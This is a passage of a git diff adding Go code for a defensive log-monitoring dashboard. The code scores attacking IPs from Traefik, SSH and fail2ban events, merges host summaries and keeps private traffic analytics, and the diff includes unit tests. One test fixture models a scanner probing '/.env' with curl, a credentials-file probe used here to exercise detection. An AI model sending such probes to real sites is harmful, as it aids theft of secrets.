"ssh probe" + case "fail2ban": + return "ban " + ev.Jail + } + return "" +} + +const softWeight = 0.5 + +// Framed requests (Sec-Fetch-* says a browser was made to send them by another +// page) weigh little and are capped below the hostile level: a visitor framed +// by a third party never becomes hostile. They are still recorded, because the +// headers come from the client and a scanner can forge them to hide: such a +// scanner shows up as suspicious instead of disappearing. +const ( + framedWeight = 0.25 + framedCap = 30.0 +) + +// KeyOf is the table key of an address: IPv4 as is, IPv6 aggregated by /64 +// (one customer holds a whole /64, so per-address keys would be a memory attack). +func KeyOf(ip string) string { + a, err := netip.ParseAddr(ip) + if err != nil { + if p, err := netip.ParsePrefix(ip); err == nil && p.Addr().Is6() { + return netip.PrefixFrom(p.Addr(), 64).Masked().String() + } + return ip + } + a = a.WithZone("").Unmap() + if a.Is4() { + return a.String() + } + return netip.PrefixFrom(a, 64).Masked().String() +} + +// Ingest records one event. +func (s *Store) Ingest(ev core.Event) { + now := s.now() + if ev.Time.Before(now.Add(-s.cfg.Retention)) || ev.IP == "" { + return + } + ts := ev.Time.Unix() + if max := now.Unix() + 300; ts > max { + ts = max + } + ci := ev.Cat.Index() + if ci < 0 { + return + } + scored := !(ev.Cat == core.Ban && (ev.Unban || ev.Restore)) + malHTTP := ev.Source == "traefik" && (ev.Cat == core.Scanner || ev.Cat == core.Exploit || ev.Cat == core.BruteForce) + + s.mu.Lock() + if scored { + m := ts / 60 + i := int(m % slots) + if s.stamps[i] != m { + s.stamps[i] = m + s.counts[i] = [core.NumCats]uint32{} + } + s.counts[i][ci]++ + } + if scored { + h := ts / 3600 + hs := &s.hours[int(h%hourSlots)] + if hs.Hour != h { + *hs = hourSlot{Hour: h} + } + switch { + case malHTTP: + bump(&hs.Paths, ev.Path) + bump(&hs.Domains, ev.Domain) + bump(&hs.UAs, ev.UA) + case ev.Cat == core.SSHFail: + bump(&hs.Users, ev.User) + } + if ev.Cat.IsMalicious() || ev.Cat == core.Ban && !ev.Unban && !ev.Restore { + bumpCap(&hs.Countries, ev.E.CC, 300) + } + } + key := KeyOf(ev.IP) + r := s.ips[key] + // 4xx alone never creates an IP record (legitimate visitors hit 404s too); + // only attack tools do. IPs already tracked keep accumulating them. + create := ev.Cat != core.OK && !ev.Unban && (ev.Cat != core.NotFound || ev.E.Tool) + // An attack tool User-Agent never comes from a framed browser: the framing + // headers are then ignored. + framed := ev.Framed && !ev.E.Tool + if r == nil && create { + if len(s.ips) >= s.cfg.MaxIPs { + s.evictLocked() + } + r = &IPRec{First: ts, Last: ts} + s.ips[key] = r + } + if r != nil { + if ts < r.First { + r.First = ts + } + if ts > r.Last { + r.Last = ts + } + if scored { + r.Counts[ci]++ + w := ev.Cat.Weight() + if ev.Soft && (ev.Cat == core.Scanner || ev.Cat == core.Exploit) { + w = softWeight // answered 2xx/3xx: probably nothing was found + } + if framed && w > 0 { + w = min(framedWeight, framedCap-r.FramedScore) + if w < 0 { + w = 0 + } + r.FramedScore += w + } + r.Score += w + if framed { + // never a strong signal: the headers prove nothing either way + } else if ev.E.Tool && ev.Cat != core.OK && ev.Cat != core.SSHOK && ev.Cat != core.Ban { + r.Score += core.ToolBonus + r.Strong = true + r.StrongAt = max(r.StrongAt, ts) + } + if (ev.Strong && !framed) || ev.Cat == core.Ban { + r.Strong = true + r.StrongAt = max(r.StrongAt, ts) + } + if ev.Cat == core.SSHOK && ts > r.SSHOK && s.isAdminUser(ev.User) { + r.SSHOK = ts + } + } + if malHTTP { + r.Domains = addUnique(r.Domains, clipS(ev.Domain, maxText), maxDomain) + r.UAs = addUnique(r.UAs, clipS(ev.UA, maxText), maxUAs) + } + if ev.Cat != core.OK && ev.Cat != core.NotFound && scored { + r.Samples = addUnique(r.Samples, clipS(sample(ev), maxText), maxSample) + } + if ev.Cat == core.Ban && ev.Jail != "" { + if ev.Unban { + for i, j := range r.Jails { + if j == ev.Jail { + r.Jails = append(r.Jails[:i], r.Jails[i+1:]...) + break + } + } + } else if len(r.Jails) < maxJails { + r.Jails = addUnique(r.Jails, ev.Jail, maxJails) + if r.BanSince == 0 || ts > r.BanSince { + r.BanSince = ts + } + } + } + } + var fe FeedEvent + feed := ev.Cat != core.OK && ev.Cat != core.NotFound && !ev.Restore + if feed { + fe = FeedEvent{T: ts, IP: ev.IP, Cat: string(ev.Cat), Source: ev.Source, Host: s.cfg.Name, Domain: ev.Domain, + Method: ev.Method, Path: ev.Path, User: ev.User, Jail: ev.Jail, Status: ev.Status, Unban: ev.Unban, Forged: ev.Forged, CC: ev.E.CC} + if len(s.recent) < FeedSize { + s.recent = append(s.recent, fe) + } else { + s.recent[s.rhead] = fe + s.rhead = (s.rhead + 1) % FeedSize + } + } + s.mu.Unlock() + + if feed && now.Unix()-ts < 300 { + s.broadcast(fe) + } +} + +// isAdminUser: without an explicit --admin-users list nobody is immune (a +// local user can forge an sshd "Accepted" line with logger). +func (s *Store) isAdminUser(u string) bool { + if len(s.cfg.AdminUsers) == 0 { + return false + } + for _, a := range s.cfg.AdminUsers { + if a == u { + return true + } + } + return false +} + +// SetAdminUsers sets Config.AdminUsers (empty: no address is immune). +func (s *Store) SetAdminUsers(users []string) { + var l []string + for _, u := range users { + if u = strings.TrimSpace(u); u != "" { + l = append(l, u) + } + } + s.mu.Lock() + s.cfg.AdminUsers = l + s.mu.Unlock() + s.invalidate() +} + +// adminAt reports whether r is an admin at time now: a successful SSH login +// in the last AdminWindow and no strong signal after it. +func (r *IPRec) adminAt(now int64) bool { + return r.SSHOK > 0 && r.SSHOK >= now-int64(AdminWindow/time.Second) && r.StrongAt < r.SSHOK +} + +func (r *IPRec) protected() bool { return len(r.Jails) > 0 || r.SSHOK > 0 } + +// evictLocked makes room: the lowest score (then oldest) go first. Banned IPs +// and admin logins are only evicted, oldest first, when nothing else is left, +// so the cap is hard. +func (s *Store) evictLocked() { + type kv struct { + ip string + prot bool + score float64 + last int64 + } + all := make([]kv, 0, len(s.ips)) + for ip, r := range s.ips { + last := r.Last + if r.protected() && r.BanSince > last { + last = r.BanSince + } + all = append(all, kv{ip, r.protected(), r.Score, last}) + } + sort.Slice(all, func(i, j int) bool { + if all[i].prot != all[j].prot { + return !all[i].prot + } + if all[i].prot { + return all[i].last < all[j].last + } + if all[i].score != all[j].score { + return all[i].score < all[j].score + } + return all[i].last < all[j].last + }) + n := len(s.ips) / 10 + if n < 1 { + n = 1 + } + if n > len(all) { + n = len(all) + } + for _, e := range all[:n] { + delete(s.ips, e.ip) + } +} + +// Prune drops IPs not seen within the retention window (bans excepted while +// they are younger than it). +func (s *Store) Prune() int { + cut := s.now().Add(-s.cfg.Retention).Unix() + s.mu.Lock() + defer s.mu.Unlock() + n := 0 + for name, d := range s.tr.dom { + if d.Last < cut { + delete(s.tr.dom, name) // no activity for the whole retention window + } + } + for ip, r := range s.ips { + if r.Last >= cut { + continue + } + if len(r.Jails) > 0 && r.BanSince >= cut { + continue + } + if r.SSHOK >= cut { + continue + } + delete(s.ips, ip) + n++ + } + return n +} + +// IPCount is the size of the IP table. +func (s *Store) IPCount() int { s.mu.RLock(); defer s.mu.RUnlock(); return len(s.ips) } + +// Subscribe returns a channel of live feed events; call the returned func to stop. +func (s *Store) Subscribe() (<-chan FeedEvent, func()) { + ch := make(chan FeedEvent, 64) + s.smu.Lock() + s.subs[ch] = struct{}{} + s.smu.Unlock() + return ch, func() { + s.smu.Lock() + delete(s.subs, ch) + s.smu.Unlock() + } +} + +func (s *Store) broadcast(e FeedEvent) { + s.smu.Lock() + for ch := range s.subs { + select { + case ch <- e: + default: // slow client: drop + } + } + s.smu.Unlock() +} + +// Recent returns the newest n feed events, newest first. +func (s *Store) Recent(n int) []FeedEvent { + s.mu.RLock() + defer s.mu.RUnlock() + total := len(s.recent) + out := make([]FeedEvent, 0, n) + for i := 0; i < total && len(out) < n; i++ { + idx := (s.rhead - 1 - i) % total + if idx < 0 { + idx += total + } + out = append(out, s.recent[idx]) + } + return out +} + +func (s *Store) invalidate() { + s.cacheMu.Lock() + s.cache = map[string]cachedSummary{} + s.cacheMu.Unlock() +} + +func containsFold(h, n string) bool { return strings.Contains(strings.ToLower(h), strings.ToLower(n)) } + +// RDNSOf returns the cached reverse name of ip and queues a lookup. +func (s *Store) RDNSOf(ip string) string { + if s.rdns == nil { + return "" + } + return s.rdns.Lookup(ip) +} + +// Monitoring counts a benign request from a monitoring client. It is kept +// apart from every attack aggregate and never scores an IP. +func (s *Store) Monitoring(t time.Time) { + now := s.now() + if t.Before(now.Add(-s.cfg.Retention)) { + return + } + ts := t.Unix() + if max := now.Unix() + 300; ts > max { + ts = max + } + m := ts / 60 + i := int(m % slots) + s.mu.Lock() + if s.monSt[i] != m { + s.monSt[i], s.monN[i] = m, 0 + } + s.monN[i]++ + s.mu.Unlock() +} diff --git a/internal/store/store_test.go b/internal/store/store_test.go new file mode 100644 index 0000000..405d4f2 --- /dev/null +++ b/internal/store/store_test.go @@ -0,0 +1,170 @@ +package store + +import ( + "fmt" + "path/filepath" + "testing" + "time" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core" +) + +var t0 = time.Date(2026, 11, 14, 12, 0, 0, 0, time.UTC) + +func newStore(name string, max int) *Store { + s := New(Config{Name: name, Version: "t", MaxIPs: max}) + s.now = func() time.Time { return t0 } + return s +} + +func ev(ip string, cat core.Category, ago time.Duration) core.Event { + return core.Event{Time: t0.Add(-ago), IP: ip, Cat: cat, Source: "traefik", Domain: "a.example", Method: "GET", Path: "/.env", UA: "curl/8"} +} + +func TestScoringTimelineAndTops(t *testing.T) { + s := newStore("oracle", 100) + for i := 0; i < 6; i++ { + s.Ingest(ev("1.1.1.1", core.Exploit, time.Duration(i)*time.Minute)) // 48 + } + s.Ingest(ev("1.1.1.1", core.Scanner, 30*time.Minute)) // +3 = 51 + s.Ingest(ev("2.2.2.2", core.Scanner, 2*time.Hour)) + s.Ingest(ev("3.3.3.3", core.OK, time.Minute)) + s.Ingest(ev("4.4.4.4", core.NotFound, time.Minute)) + sum := s.Summary("1h") + if sum.Totals.Requests != 9 || sum.Totals.Malicious != 7 { + t.Fatalf("1h totals %+v", sum.Totals) + } + if sum.Totals.HostileIPs != 1 || sum.IPs[0].IP != "1.1.1.1" || sum.IPs[0].Score != 51 || sum.IPs[0].Level != core.LevelHostile { + t.Fatalf("ips %+v", sum.IPs[0]) + } + if len(sum.Timeline.Series["exploit"]) != 60 { + t.Fatal("grid") + } + var ex uint32 + for _, v := range sum.Timeline.Series["exploit"] { + ex += v + } + if ex != 6 { + t.Fatalf("exploit series %d", ex) + } + s24 := s.Summary("24h") + if s24.Totals.Counts["scanner"] != 2 { + t.Fatalf("24h scanner %d", s24.Totals.Counts["scanner"]) + } + if len(s24.TopPaths) != 1 || s24.TopPaths[0].Key != "/.env" || s24.TopDomains[0].Key != "a.example" || s24.TopUAs[0].Key != "curl/8" { + t.Fatalf("tops %+v", s24.TopPaths) + } + if _, ok := s.IP("3.3.3.3"); ok { + t.Fatal("ok-only visitors must not enter the table") + } + old := ev("9.9.9.9", core.Exploit, 8*24*time.Hour) + s.Ingest(old) + if _, ok := s.IP("4.4.4.4"); ok { + t.Fatal("a 404 alone must not create an IP record") + } + if s.IPCount() != 2 { + t.Fatal("events beyond retention must be dropped") + } +} + +func TestBansAndFeed(t *testing.T) { + s := newStore("oracle", 100) + b := core.Event{Time: t0.Add(-time.Minute), IP: "5.5.5.5", Cat: core.Ban, Source: "fail2ban", Jail: "sshd"} + s.Ingest(b) + b.Jail = "recidive" + s.Ingest(b) + if sum := s.Summary("24h"); sum.Totals.ActiveBans != 1 || !sum.IPs[0].Banned || len(sum.IPs[0].Jails) != 2 { + t.Fatalf("%+v", sum.Totals) + } + s.cache = map[string]cachedSummary{} + b.Unban, b.Jail = true, "sshd" + s.Ingest(b) + r, _ := s.IP("5.5.5.5") + if len(r.Jails) != 1 || r.Jails[0] != "recidive" || r.Score != 20 { + t.Fatalf("%+v", r) + } + if rec := s.Recent(10); len(rec) != 3 || !rec[0].Unban { + t.Fatalf("feed %+v", rec) + } + ch, stop := s.Subscribe() + defer stop() + s.Ingest(ev("6.6.6.6", core.Exploit, 0)) + select { + case e := <-ch: + if e.IP != "6.6.6.6" { + t.Fatal(e) + } + case <-time.After(time.Second): + t.Fatal("no sse event") + } +} + +func TestCapsAreHard(t *testing.T) { + s := newStore("x", 1000) + for i := 0; i < 5000; i++ { + e := ev(fmt.Sprintf("10.%d.%d.1", i/250, i%250), core.Scanner, time.Minute) + s.Ingest(e) + } + s.Ingest(core.Event{Time: t0, IP: "7.7.7.7", Cat: core.Ban, Source: "fail2ban", Jail: "sshd"}) + for i := 0; i < 3000; i++ { + e := ev(fmt.Sprintf("11.%d.%d.1", i/250, i%250), core.Scanner, time.Minute) + e.Path = fmt.Sprintf("/p%d", i) + s.Ingest(e) + } + if n := s.IPCount(); n > 1000 { + t.Fatalf("ip table %d exceeds cap", n) + } + if _, ok := s.IP("7.7.7.7"); !ok { + t.Fatal("banned IP evicted") + } + h := s.hours[int((t0.Unix()-60)/3600%hourSlots)] + if len(h.Paths) > topCap { + t.Fatalf("top paths %d", len(h.Paths)) + } +} + +func TestMerge(t *testing.T) { + a, b := newStore("oracle", 100), newStore("hostinger", 100) + a.Ingest(ev("1.1.1.1", core.Exploit, time.Minute)) + b.Ingest(ev("1.1.1.1", core.Scanner, 5*time.Minute)) + b.Ingest(ev("2.2.2.2", core.Exploit, 5*time.Minute)) + b.now = func() time.Time { return t0.Add(20 * time.Second) } // clock skew + m := Merge("all", []Summary{a.Summary("1h"), b.Summary("1h")}) + if m.Totals.Malicious != 3 || len(m.Hosts) != 2 || m.Totals.UniqueIPs != 2 { + t.Fatalf("%+v", m.Totals) + } + top := m.IPs[0] + if top.IP != "1.1.1.1" || top.Score != 11 || len(top.Hosts) != 2 || top.Counts["exploit"] != 1 || top.Counts["scanner"] != 1 { + t.Fatalf("%+v", top) + } + var ex uint32 + for _, v := range m.Timeline.Series["exploit"] { + ex += v + } + if ex != 2 { + t.Fatalf("merged timeline %d", ex) + } + if m.TopPaths[0].N != 3 { + t.Fatalf("%+v", m.TopPaths) + } +} + +func TestSnapshotRoundTrip(t *testing.T) { + s := newStore("oracle", 100) + s.Ingest(ev("1.1.1.1", core.Exploit, time.Minute)) + p := filepath.Join(t.TempDir(), "state.gob") + if err := s.Save(p, map[string]Offset{"traefik": {Inode: 7, Offset: 99}}); err != nil { + t.Fatal(err) + } + s2 := newStore("oracle", 100) + off, err := s2.Load(p) + if err != nil || off["traefik"].Offset != 99 { + t.Fatalf("%v %v", off, err) + } + if r, ok := s2.IP("1.1.1.1"); !ok || r.Score != 8 || s2.Summary("1h").Totals.Malicious != 1 { + t.Fatal("state lost") + } + if off, err := newStore("x", 1).Load(filepath.Join(t.TempDir(), "none")); err != nil || len(off) != 0 { + t.Fatal("missing snapshot must be a fresh start") + } +} diff --git a/internal/store/summary.go b/internal/store/summary.go new file mode 100644 index 0000000..e9f100e --- /dev/null +++ b/internal/store/summary.go @@ -0,0 +1,425 @@ +package store + +import ( + "sort" + "time" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core" +) + +// Range describes a dashboard time window. +type Range struct { + Name string + Dur time.Duration + Step int64 // timeline bucket size in seconds +} + +// Ranges are the supported windows. +var Ranges = map[string]Range{ + "1h": {"1h", time.Hour, 60}, + "24h": {"24h", 24 * time.Hour, 900}, + "7d": {"7d", 7 * 24 * time.Hour, 3600}, +} + +// ParseRange returns the named range, defaulting to 24h. +func ParseRange(name string) Range { + if r, ok := Ranges[name]; ok { + return r + } + return Ranges["24h"] +} + +// Count is one top-list row. +type Count struct { + Key string `json:"key"` + N uint32 `json:"n"` + Label string `json:"label,omitempty"` +} + +// Timeline holds per-category counters on a fixed grid. +type Timeline struct { + Start int64 `json:"start"` + Step int64 `json:"step"` + Cats []string `json:"cats"` + Series map[string][]uint32 `json:"series"` +} + +// Totals are the headline numbers. +type Totals struct { + Requests uint64 `json:"requests"` + Malicious uint64 `json:"malicious"` + HostileIPs int `json:"hostile_ips"` + SuspiciousIPs int `json:"suspicious_ips"` + UniqueIPs int `json:"unique_ips"` + ActiveBans int `json:"active_bans"` + Monitoring uint64 `json:"monitoring"` + Counts map[string]uint64 `json:"counts"` +} + +// IPSummary describes one IP. Samples, UAs and Domains are only filled in the +// detail view and in federation exchanges. +type IPSummary struct { + IP string `json:"ip"` + Score float64 `json:"score"` + Level core.Level `json:"level"` + Counts map[string]uint32 `json:"counts"` + Hosts []string `json:"hosts"` + Domains []string `json:"domains,omitempty"` + Samples []string `json:"samples,omitempty"` + UAs []string `json:"uas,omitempty"` + First int64 `json:"first"` + Last int64 `json:"last"` + Banned bool `json:"banned"` + Jails []string `json:"jails,omitempty"` + RDNS string `json:"rdns,omitempty"` + Strong bool `json:"strong,omitempty"` + Admin bool `json:"admin,omitempty"` + CC string `json:"cc,omitempty"` + Country string `json:"country,omitempty"` + City string `json:"city,omitempty"` + ASN uint32 `json:"asn,omitempty"` + ASOrg string `json:"as_org,omitempty"` + UALabels []string `json:"ua_labels,omitempty"` +} + +// SourceStatus reports one log source. +type SourceStatus struct { + Host string `json:"host,omitempty"` + Name string `json:"name"` + Path string `json:"path"` + State string `json:"state"` // following, waiting, backfill, error, disabled + Lines uint64 `json:"lines"` + Malformed uint64 `json:"malformed"` + LastEvent int64 `json:"last_event"` + Error string `json:"error,omitempty"` +} + +// HostInfo is the per-instance card. +type HostInfo struct { + Name string `json:"name"` + Self bool `json:"self"` + Online bool `json:"online"` + Version string `json:"version,omitempty"` + Error string `json:"error,omitempty"` + LastSeen int64 `json:"last_seen"` + Requests uint64 `json:"requests"` + Malicious uint64 `json:"malicious"` + HostileIPs int `json:"hostile_ips"` + ActiveBans int `json:"active_bans"` + LatencyMS int64 `json:"latency_ms,omitempty"` +} + +// Summary is the mergeable dashboard payload. +type Summary struct { + Version string `json:"version"` + Host string `json:"host"` + Range string `json:"range"` + Generated int64 `json:"generated"` + Hosts []HostInfo `json:"hosts"` + Totals Totals `json:"totals"` + Timeline Timeline `json:"timeline"` + IPs []IPSummary `json:"ips"` + TopPaths []Count `json:"top_paths"` + TopDomains []Count `json:"top_domains"` + TopUAs []Count `json:"top_uas"` + TopUsers []Count `json:"top_users"` + Countries []Count `json:"countries"` + Recent []FeedEvent `json:"recent"` + Sources []SourceStatus `json:"sources"` + Attribution string `json:"attribution,omitempty"` +} + +const ( + summaryIPs = 500 + topKeep = 50 +) + +func catStrings() []string { + out := make([]string, len(core.Categories)) + for i, c := range core.Categories { + out[i] = string(c) + } + return out +} + +func attackKinds(c [core.NumCats]uint32) int { + n := 0 + for _, cat := range []core.Category{core.Scanner, core.Exploit, core.BruteForce, core.SSHFail, core.SSHProbe} { + if c[cat.Index()] > 0 { + n++ + } + } + return n +} + +// rowOf builds the output row of one table entry. +func (s *Store) rowOf(ip string, r *IPRec, detail bool) IPSummary { + cm := make(map[string]uint32, 4) + for i, n := range r.Counts { + if n > 0 { + cm[string(core.Categories[i])] = n + } + } + strong := r.Strong || attackKinds(r.Counts) >= 2 + admin := r.adminAt(s.now().Unix()) + out := IPSummary{IP: ip, Score: round1(r.Score), Level: core.LevelOf(r.Score, strong, admin), Counts: cm, Hosts: []string{s.cfg.Name}, + First: r.First, Last: r.Last, Banned: len(r.Jails) > 0, Strong: strong, Admin: admin} + if len(r.Jails) > 0 { + out.Jails = append([]string(nil), r.Jails...) + } + if detail { + out.Domains = append([]string(nil), r.Domains...) + out.Samples = append([]string(nil), r.Samples...) + out.UAs = append([]string(nil), r.UAs...) + } + return out +} + +func round1(f float64) float64 { return float64(int64(f*10+0.5)) / 10 } + +// AllIPs returns every IP seen inside the range, highest score first. +func (s *Store) AllIPs(rg Range, detail bool) []IPSummary { + cut := s.now().Add(-rg.Dur).Unix() + s.mu.RLock() + out := make([]IPSummary, 0, len(s.ips)) + for ip, r := range s.ips { + if r.Last >= cut { + out = append(out, s.rowOf(ip, r, detail)) + } + } + s.mu.RUnlock() + SortIPs(out, "score", true) + return out +} + +// SortIPs orders in place by key (score, last, first, events, ip). +func SortIPs(l []IPSummary, key string, desc bool) { + ev := func(x IPSummary) uint32 { + var n uint32 + for _, v := range x.Counts { + n += v + } + return n + } + less := func(a, b IPSummary) bool { + switch key { + case "last": + return a.Last < b.Last + case "first": + return a.First < b.First + case "events": + return ev(a) < ev(b) + case "ip": + return a.IP < b.IP + } + if a.Score != b.Score { + return a.Score < b.Score + } + return a.Last < b.Last + } + sort.SliceStable(l, func(i, j int) bool { + if desc { + return less(l[j], l[i]) + } + return less(l[i], l[j]) + }) +} + +// IP returns the detail of one address. +func (s *Store) IP(ip string) (IPSummary, bool) { + ip = KeyOf(ip) + s.mu.RLock() + r := s.ips[ip] + var out IPSummary + if r != nil { + out = s.rowOf(ip, r, true) + } + s.mu.RUnlock() + if r == nil { + return IPSummary{}, false + } + if s.rdns != nil { + out.RDNS = s.rdns.Lookup(ip) + } + s.Enrich(&out) + for _, ua := range out.UAs { + if l := s.UALabel(ua); l != "" { + out.UALabels = append(out.UALabels, l) + } + } + return out, true +} + +func topN(m map[string]uint32, n int) []Count { + out := make([]Count, 0, len(m)) + for k, v := range m { + out = append(out, Count{Key: k, N: v}) + } + sort.Slice(out, func(i, j int) bool { + if out[i].N != out[j].N { + return out[i].N > out[j].N + } + return out[i].Key < out[j].Key + }) + if len(out) > n { + out = out[:n] + } + return out +} + +// Summary builds the local summary for a range (cached for two seconds). +func (s *Store) Summary(rangeName string) Summary { + rg := ParseRange(rangeName) + s.cacheMu.Lock() + if c, ok := s.cache[rg.Name]; ok && time.Since(c.at) < 2*time.Second { + s.cacheMu.Unlock() + return c.s + } + s.cacheMu.Unlock() + sum := s.buildSummary(rg) + s.cacheMu.Lock() + s.cache[rg.Name] = cachedSummary{time.Now(), sum} + s.cacheMu.Unlock() + return sum +} + +func (s *Store) buildSummary(rg Range) Summary { + now := s.now() + nowU := now.Unix() + cats := catStrings() + nb := int(rg.Dur.Seconds()) / int(rg.Step) + endB := nowU / rg.Step + start := (endB - int64(nb) + 1) * rg.Step + tl := Timeline{Start: start, Step: rg.Step, Cats: cats, Series: make(map[string][]uint32, len(cats))} + for _, c := range cats { + tl.Series[c] = make([]uint32, nb) + } + tot := Totals{Counts: map[string]uint64{}} + + s.mu.RLock() + startMin := start / 60 + for m := startMin; m <= nowU/60; m++ { + i := int(m % slots) + if s.stamps[i] != m { + continue + } + b := int((m*60 - start) / rg.Step) + if b < 0 || b >= nb { + continue + } + for ci, n := range s.counts[i] { + if n == 0 { + continue + } + tl.Series[cats[ci]][b] += n + tot.Counts[cats[ci]] += uint64(n) + c := core.Categories[ci] + if c.IsHTTP() { + tot.Requests += uint64(n) + } + if c.IsMalicious() { + tot.Malicious += uint64(n) + } + } + } + for m := startMin; m <= nowU/60; m++ { + if i := int(m % slots); s.monSt[i] == m { + tot.Monitoring += uint64(s.monN[i]) + } + } + paths, doms, uas, users, ctry := map[string]uint32{}, map[string]uint32{}, map[string]uint32{}, map[string]uint32{}, map[string]uint32{} + firstHour := (nowU - int64(rg.Dur.Seconds())) / 3600 + for i := range s.hours { + h := &s.hours[i] + if h.Hour == 0 || h.Hour < firstHour || h.Hour > nowU/3600+1 { + continue + } + for _, p := range [...]struct { + from map[string]uint32 + to map[string]uint32 + }{{h.Paths, paths}, {h.Domains, doms}, {h.UAs, uas}, {h.Users, users}, {h.Countries, ctry}} { + for k, v := range p.from { + p.to[k] += v + } + } + } + cut := nowU - int64(rg.Dur.Seconds()) + ips := make([]IPSummary, 0, 1024) + for ip, r := range s.ips { + if len(r.Jails) > 0 { + tot.ActiveBans++ + } + if r.Last < cut { + continue + } + tot.UniqueIPs++ + row := s.rowOf(ip, r, true) + switch row.Level { + case core.LevelHostile: + tot.HostileIPs++ + case core.LevelSuspicious: + tot.SuspiciousIPs++ + } + if r.Score >= 1 || len(r.Jails) > 0 { + ips = append(ips, row) + } + } + recent := s.recentLocked(60) + s.mu.RUnlock() + + SortIPs(ips, "score", true) + if len(ips) > summaryIPs { + ips = ips[:summaryIPs] + } + if s.enr != nil { + for i := range ips { + s.Enrich(&ips[i]) + for _, ua := range ips[i].UAs { + if l := s.UALabel(ua); l != "" { + ips[i].UALabels = append(ips[i].UALabels, l) + } + } + } + } + topUAs := topN(uas, topKeep) + for i := range topUAs { + topUAs[i].Label = s.UALabel(topUAs[i].Key) + } + if s.rdns != nil { + for i := range ips { + if i >= 25 { + break + } + ips[i].RDNS = s.rdns.Lookup(ips[i].IP) + } + } + var srcs []SourceStatus + if s.sources != nil { + srcs = s.sources() + for i := range srcs { + srcs[i].Host = s.cfg.Name + srcs[i].Path = "" // never leak host paths to the dashboard or to peers + } + } + return Summary{ + Version: s.cfg.Version, Host: s.cfg.Name, Range: rg.Name, Generated: nowU, + Hosts: []HostInfo{{Name: s.cfg.Name, Self: true, Online: true, Version: s.cfg.Version, LastSeen: nowU, + Requests: tot.Requests, Malicious: tot.Malicious, HostileIPs: tot.HostileIPs, ActiveBans: tot.ActiveBans}}, + Totals: tot, Timeline: tl, IPs: ips, + TopPaths: topN(paths, topKeep), TopDomains: topN(doms, topKeep), TopUAs: topUAs, TopUsers: topN(users, topKeep), Countries: topN(ctry, 120), + Recent: recent, Sources: srcs, Attribution: s.attrib, + } +} + +func (s *Store) recentLocked(n int) []FeedEvent { + total := len(s.recent) + out := make([]FeedEvent, 0, n) + for i := 0; i < total && len(out) < n; i++ { + idx := (s.rhead - 1 - i) % total + if idx < 0 { + idx += total + } + out = append(out, s.recent[idx]) + } + return out +} diff --git a/internal/store/traffic.go b/internal/store/traffic.go new file mode 100644 index 0000000..cfe2352 --- /dev/null +++ b/internal/store/traffic.go @@ -0,0 +1,554 @@ +package store + +import ( + "crypto/rand" + "crypto/sha256" + "net/url" + "regexp" + "sort" + "strings" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core" +) + +// Privacy: legitimate visitors are never stored. A visitor is the 64-bit +// prefix of SHA-256(salt | ip | user-agent | domain) kept in memory only while +// its UTC day lasts; the salt is random per process and per day, so hashes +// cannot be linked across days, and nothing here reaches a snapshot or the API. + +const ( + anMinutes = 24 * 60 + maxDomains = 24 + visCap = 20000 + anTop = 40 + latN = 12 + otherDom = "(other)" +) + +var latBounds = [latN - 1]float64{5, 10, 25, 50, 100, 250, 500, 1000, 2500, 5000, 10000} + +type anHour struct { + Hour int64 + Req, Pages, Bots uint32 + Bytes uint64 + S [4]uint32 // 2xx 3xx 4xx 5xx + Lat [latN]uint32 +} + +type anDay struct { + Day int64 + Visitors uint32 + Pages, Refs, Countries, Cities, Browsers, OSes, Devices, Bots map[string]uint32 +} + +type domData struct { + MinSt [anMinutes]int64 + MinReq [anMinutes]uint32 + MinPages [anMinutes]uint32 + Hours [hourSlots]anHour + Days [8]anDay + Last int64 // unix time of the last request, for pruning idle domains + // in memory only, never in a snapshot (unexported fields are skipped by gob) + vis map[uint64]struct{} + visDay int64 +} + +type trafficState struct { + dom map[string]*domData + salt [16]byte + saltDay int64 +} + +var assetExt = map[string]bool{ + "js": true, "mjs": true, "css": true, "png": true, "jpg": true, "jpeg": true, "gif": true, "svg": true, "ico": true, + "webp": true, "avif": true, "woff": true, "woff2": true, "ttf": true, "otf": true, "eot": true, "map": true, + "json": true, "xml": true, "txt": true, "mp4": true, "webm": true, "mp3": true, "ogg": true, "pdf": true, + "zip": true, "gz": true, "wasm": true, "bmp": true, "webmanifest": true, "rss": true, "atom": true, +} + +func isPageView(ev core.Event) bool { + if ev.Method != "GET" || ev.Status < 200 || ev.Status > 299 { + return false + } + p := ev.Path + if i := strings.IndexAny(p, "?#"); i >= 0 { + p = p[:i] + } + if i := strings.LastIndexByte(p, '.'); i >= 0 && i > strings.LastIndexByte(p, '/') { + return !assetExt[strings.ToLower(p[i+1:])] + } + return true +} + +func normDomain(d string) string { + d = strings.ToLower(strings.TrimSpace(d)) + if i := strings.LastIndexByte(d, ':'); i > 0 && !strings.Contains(d[i:], "]") { + d = d[:i] + } + if d == "" { + return "-" + } + return d +} + +func refHost(ref, domain string) string { + if ref == "" || ref == "-" { + return "" + } + u, err := url.Parse(ref) + if err != nil || u.Host == "" { + return "" + } + h := strings.TrimPrefix(strings.ToLower(u.Hostname()), "www.") + if h == "" || h == domain || h == strings.TrimPrefix(domain, "www.") || strings.HasSuffix(h, "."+strings.TrimPrefix(domain, "www.")) { + return "" + } + return h +} + +func latBucket(ns int64) int { + ms := float64(ns) / 1e6 + for i, b := range latBounds { + if ms <= b { + return i + } + } + return latN - 1 +} + +// SetDomains restricts the analytics to these domains (exact names, or +// "*.example.com" for a whole subtree). Empty means: any domain that has +// answered a request successfully. +func (s *Store) SetDomains(list []string) { + s.mu.Lock() + defer s.mu.Unlock() + s.allow = nil + for _, d := range list { + if d = strings.ToLower(strings.TrimSpace(d)); d != "" { + s.allow = append(s.allow, d) + } + } +} + +func (s *Store) domainAllowed(name string) bool { + if len(s.allow) == 0 { + return true + } + for _, a := range s.allow { + if a == name || strings.HasPrefix(a, "*.") && strings.HasSuffix(name, a[1:]) { + return true + } + } + return false +} + +// domLocked returns the slot of a domain. A new slot is only opened for a +// domain that has served a 2xx: Host headers sent by scanners (random names +// answered with 404, or with the catch-all http->https 301) cannot take slots +// from real sites. +func (s *Store) domLocked(name string, status int) *domData { + if s.tr.dom == nil { + s.tr.dom = map[string]*domData{} + } + if d := s.tr.dom[name]; d != nil { + return d + } + if status < 200 || status > 299 || !s.domainAllowed(name) { + return nil + } + if len(s.tr.dom) >= maxDomains { + name = otherDom + if d := s.tr.dom[name]; d != nil { + return d + } + } + d := &domData{} + s.tr.dom[name] = d + return d +} + +var uuidRe = 